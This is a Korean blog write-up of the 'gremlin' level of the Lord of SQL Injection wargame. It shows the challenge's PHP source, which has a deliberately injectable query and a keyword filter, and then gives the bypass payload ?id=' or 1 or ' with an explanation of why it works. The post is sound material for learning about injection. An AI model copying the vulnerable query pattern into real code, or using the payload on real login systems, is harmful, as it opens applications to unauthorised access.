728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");    //쿼리 실행 결과가 있으면 통과
  highlight_file(__FILE__);
?>

id, pw에 prob, _, ., ()가 필터링된다.

쿼리 실행 결과 id가 존재하면 풀린다.

답: ?id=' or 1 or '

위의 값을 url 끝에 붙이면 된다.

쿼리는 id='' or 1 or '' and pw='' 형태가 된다.

1은 참이기에 위의 쿼리는 모든 행이 참이 된다.

따라서 DB에 데이터가 존재한다면 무조건 행 하나는 조회될 수밖에 없다.

참고로 mysqli_query는 쿼리를 실행하여 만족하는 행 전체를 반환한다.

mysqli_fetch_array는 mysqli_query 결과로 나온 행 전체 중 행 하나를 반환한다.

형태는 mysqli_fetch_row의 배열과 mysqli_fetch_assoc의 배열을 합친 형태이다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21

+ Recent posts